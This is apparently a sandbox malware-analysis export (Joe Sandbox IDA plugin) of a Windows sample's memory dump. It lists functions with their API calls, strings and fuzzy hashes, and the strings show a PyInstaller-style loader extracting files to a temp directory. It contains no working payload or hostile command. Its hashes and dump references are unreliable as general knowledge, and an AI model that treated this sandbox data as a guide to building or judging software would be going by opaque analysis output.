Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF78DA516DA
Failed to extract %s: failed to open archive file!, xrefs: 00007FF78DA516A2
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF78DA517DF
Failed to extract %s: failed to open target file!, xrefs: 00007FF78DA5165C
fopen, xrefs: 00007FF78DA51663
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF78DA51742
fread, xrefs: 00007FF78DA517E6
malloc, xrefs: 00007FF78DA51749
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF78DA517CA
Failed to create symbolic link %s!, xrefs: 00007FF78DA51622
fwrite, xrefs: 00007FF78DA517D1

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: 09250c35733c7288d494a8b559120a17bced8e02cc052d24a1c7d21c225d71f9
Instruction ID: e973284c489536ab344509efcee8815af89c3dcf702fe5c4537ab9227b9eae4e
Opcode Fuzzy Hash: 09250c35733c7288d494a8b559120a17bced8e02cc052d24a1c7d21c225d71f9
Instruction Fuzzy Hash: AF518C61A0C64392EA10BBA1A4409B9A360BF44B94FF44531EE5C47796FF3CED4DC762

Function 00007FF78DA58850 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF78DA53CBB), ref: 00007FF78DA588F4
GetCurrentProcessId.KERNEL32(?,00000000,00007FF78DA53CBB), ref: 00007FF78DA588FA
CreateDirectoryW.KERNELBASE(?,00000000,00007FF78DA53CBB), ref: 00007FF78DA5893C

Part of subcall function 00007FF78DA58A20: GetEnvironmentVariableW.KERNEL32(00007FF78DA5388E), ref: 00007FF78DA58A57
Part of subcall function 00007FF78DA58A20: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF78DA58A79

Part of subcall function 00007FF78DA682A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA682C1

Part of subcall function 00007FF78DA52810: MessageBoxW.USER32 ref: 00007FF78DA528EA

Strings

_MEI%d, xrefs: 00007FF78DA58902
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF78DA5896E
TMP, xrefs: 00007FF78DA588B2
TMP, xrefs: 00007FF78DA5888C, 00007FF78DA58993
LOADER: failed to set the TMP environment variable., xrefs: 00007FF78DA588CC

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: 4e349524156a31c65ddba45994ef87c37bf84ce1b0e485ec316371ea64373d4f
Instruction ID: 03c41403b48fe886777d20a678d7c4bb17a0cf89f271af35568b4e09129edb04
Opcode Fuzzy Hash: 4e349524156a31c65ddba45994ef87c37bf84ce1b0e485ec316371ea64373d4f
Instruction Fuzzy Hash: C7419311A0D642C0EA10BBB1A8559F992A1BF85B94FF40031ED5D977D6FE3CDD48C322

Function 00007FF78DA51210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF78DA512EF
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF78DA51276
malloc, xrefs: 00007FF78DA512C1, 00007FF78DA512F6
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF78DA5141E
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF78DA512BA
1.3.1, xrefs: 00007FF78DA51249

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 5203fde90a14cfca52878d148793ed0f56fa2f4a03ba52266beea290f2c18543
Instruction ID: 83bdeffa9b284bc39f9b9522989849a960c31d204fa483dd02379651e05699df
Opcode Fuzzy Hash: 5203fde90a14cfca52878d148793ed0f56fa2f4a03ba52266beea290f2c18543
Instruction Fuzzy Hash: D451C362A0D64281E660BB91A450BBAA2A0FF45B94FF44131ED4D877C5FF3CED49C312

Function 00007FF78DA6ED80 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF78DA6F11A,?,?,-00000018,00007FF78DA6ADC3,?,?,?,00007FF78DA6ACBA,?,?,?,00007FF78DA65FAE), ref: 00007FF78DA6EEFC
GetProcAddress.KERNEL32(?,?,?,00007FF78DA6F11A,?,?,-00000018,00007FF78DA6ADC3,?,?,?,00007FF78DA6ACBA,?,?,?,00007FF78DA65FAE), ref: 00007FF78DA6EF08

Strings

api-ms-, xrefs: 00007FF78DA6EE46
ext-ms-, xrefs: 00007FF78DA6EE59

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
Instruction ID: 1126761dc44b7070d7ee64aee631e087f04f19c47700a1495ac5ad41fce26ca2
Opcode Fuzzy Hash: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
Instruction Fuzzy Hash: DB41E161B1DA02D1EE15EB56A804D75A291BF48B90FF88539DD1D87384FE3CED0DC222

Function 00007FF78DA536B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF78DA53804), ref: 00007FF78DA536E1
GetLastError.KERNEL32(?,00007FF78DA53804), ref: 00007FF78DA536EB

Part of subcall function 00007FF78DA52C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF78DA53706,?,00007FF78DA53804), ref: 00007FF78DA52C9E
Part of subcall function 00007FF78DA52C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF78DA53706,?,00007FF78DA53804), ref: 00007FF78DA52D63
Part of subcall function 00007FF78DA52C50: MessageBoxW.USER32 ref: 00007FF78DA52D99

Strings

Failed to resolve full path to executable %ls., xrefs: 00007FF78DA53739
Failed to convert executable path to UTF-8., xrefs: 00007FF78DA53790
\\?\, xrefs: 00007FF78DA5375A
GetModuleFileNameW, xrefs: 00007FF78DA536FA
Failed to obtain executable path., xrefs: 00007FF78DA536F3

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction ID: 7717ac3ef6787c80bccf3a6e8d4662c83217e52139907c3021cf21ed31e9620a
Opcode Fuzzy Hash: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction Fuzzy Hash: 1F216051F1C64291FA20BB60E805BBAA260BF88354FF00132E59DC65D5FF2CE90DC722

Function 00007FF78DA6BACC Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA6BEF9

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 07c5dcf76cbe3182a9f46e495b791f87a2923bbe72b553d2f04cfdf557d03735
Instruction ID: 46536c5922b77fcf228592f417f6fff557ab2719c0fd3e374e782951251f6bed
Opcode Fuzzy Hash: 07c5dcf76cbe3182a9f46e495b791f87a2923bbe72b553d2f04cfdf557d03735
Instruction Fuzzy Hash: 89C1C42290C686D1E761AB95A440ABDB764FB81B80FF54131EA4E07791EF7CEC4DC722

Function 00007FF78DA58760 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF78DA58780
OpenProcessToken.ADVAPI32 ref: 00007FF78DA58793
GetTokenInformation.KERNELBASE ref: 00007FF78DA587B8
GetLastError.KERNEL32 ref: 00007FF78DA587C2
GetTokenInformation.KERNELBASE ref: 00007FF78DA58802
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF78DA5881E
CloseHandle.KERNEL32 ref: 00007FF78DA58836

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: ccba17952e233d5b695068aab9421341a55ed3ebff0a2a14ee99ad80d8ea5500
Instruction ID: f8e6b55bf8febffb97b263d3788e4d42a3d97327b0c6da191260e4d70d237ae6
Opcode Fuzzy Hash: ccba17952e233d5b695068aab9421341a55ed3ebff0a2a14ee99ad80d8ea5500
Instruction Fuzzy Hash: B0210821A0C64241DB50ABA5F454639E7B0FF957F0FB00235E6AD836E4EF6CD849C751

Function 00007FF78DA590E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF78DA58760: GetCurrentProcess.KERNEL32 ref: 00007FF78DA58780
Part of subcall function 00007FF78DA58760: OpenProcessToken.ADVAPI32 ref: 00007FF78DA58793
Part of subcall function 00007FF78DA58760: GetTokenInformation.KERNELBASE ref: 00007FF78DA587B8
Part of subcall function 00007FF78DA58760: GetLastError.KERNEL32 ref: 00007FF78DA587C2
Part of subcall function 00007FF78DA58760: GetTokenInformation.KERNELBASE ref: 00007FF78DA58802
Part of subcall function 00007FF78DA58760: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF78DA5881E
Part of subcall function 00007FF78DA58760: CloseHandle.KERNEL32 ref: 00007FF78DA58836

LocalFree.KERNEL32(?,00007FF78DA53C55), ref: 00007FF78DA5916C
LocalFree.KERNEL32(?,00007FF78DA53C55), ref: 00007FF78DA59175

Strings

S-1-3-4, xrefs: 00007FF78DA59121
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF78DA59142
D:(A;;FA;;;%s), xrefs: 00007FF78DA59157
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF78DA59183

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 3eb7115bd34229e0b110e4578eeeb93c66e7230f7a251aed45e8d0dbb8b27e08
Instruction ID: 38e73d5a21fb3f93e953ea29d9bf16f4ca47bb2623f3a6aed64981b9c0a68c54
Opcode Fuzzy Hash: 3eb7115bd34229e0b110e4578eeeb93c66e7230f7a251aed45e8d0dbb8b27e08
Instruction Fuzzy Hash: 75213021A0C74281E650BB50E515AEAA360FF88740FF44435EA4D977C6EF3CDD09C761

Function 00007FF78DA6CFD0 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF78DA6CFBB), ref: 00007FF78DA6D0EC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF78DA6CFBB), ref: 00007FF78DA6D177

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
Instruction ID: efd69b98e21019b401265085879c1c833b68bf936a8468d575a5dc7f2dee6407
Opcode Fuzzy Hash: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
Instruction Fuzzy Hash: 2F910972F0C651D5FB50AFA5A440A7DABA0BB44BC8FB44135DE0E17684EE38DC4AC722

Function 00007FF78DA65698 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA656C5
CreateFileW.KERNELBASE ref: 00007FF78DA65704
CloseHandle.KERNEL32 ref: 00007FF78DA65739

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction ID: 38bb47b91681e90e3759e5caa50946c98ba77ec29ab84b318196f2ebe460bc12
Opcode Fuzzy Hash: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction Fuzzy Hash: 6D41A362D1C781C3E314ABA1A514779A260FF94754F709334EA9C03AD1EF6DE8E8C721

Function 00007FF78DA5CCAC Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF78DA5CE7C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF78DA5CE90

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF78DA5CCD0
__scrt_release_startup_lock.LIBCMT ref: 00007FF78DA5CD3E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF78DA5CD91

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction ID: 8b5a625c377fdb515b2202e9c594f6b6adbb8d029a8a1063439ad87e4e09b1ce
Opcode Fuzzy Hash: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction Fuzzy Hash: 3C313812E0D24291EA54BBA5A451BB9A7A1BF41784FF40434D94ED72DBFE2CAC4CC223

Function 00007FF78DA69AA0 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF78DA69A9C), ref: 00007FF78DA69AB1
TerminateProcess.KERNEL32(?,?,?,00007FF78DA69A9C), ref: 00007FF78DA69ABC
ExitProcess.KERNEL32 ref: 00007FF78DA69ACB

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
Instruction ID: f50a2b0ba1f7e0d10460c0c42d4e45bf090ac420850252fcc64b8b90719086e3
Opcode Fuzzy Hash: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
Instruction Fuzzy Hash: 14D06750B0C64682EA547FB1689987892917F58B51BB41838D84B16393FD2CEC4EC322

Function 00007FF78DA601AC Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA601F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA602E7

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction ID: 89a0d66e74d23778988640b6be1af4073295565d8ca227545b3d57bf77b45270
Opcode Fuzzy Hash: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction Fuzzy Hash: BA51F721A0D641C6E734AEB5A440E7AA291BF44FA4FB44630DE6D037C5EF3CDC89C626

Function 00007FF78DA6C1A4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF78DA6C33D), ref: 00007FF78DA6C1F0
GetLastError.KERNEL32(?,?,?,?,?,00007FF78DA6C33D), ref: 00007FF78DA6C1FA

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction ID: 49b95c72ff14f870fe2760da0d9a5e477aba02d8da39df5412afdba00879666b
Opcode Fuzzy Hash: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction Fuzzy Hash: 1611E26170CA4181DA10BB65B804569A761BB45BF0FB40331EE7D4B7D8EF3CD809C702

Function 00007FF78DA6A9B8 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF78DA72D92,?,?,?,00007FF78DA72DCF,?,?,00000000,00007FF78DA73295,?,?,?,00007FF78DA731C7), ref: 00007FF78DA6A9CE
GetLastError.KERNEL32(?,?,?,00007FF78DA72D92,?,?,?,00007FF78DA72DCF,?,?,00000000,00007FF78DA73295,?,?,?,00007FF78DA731C7), ref: 00007FF78DA6A9D8

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
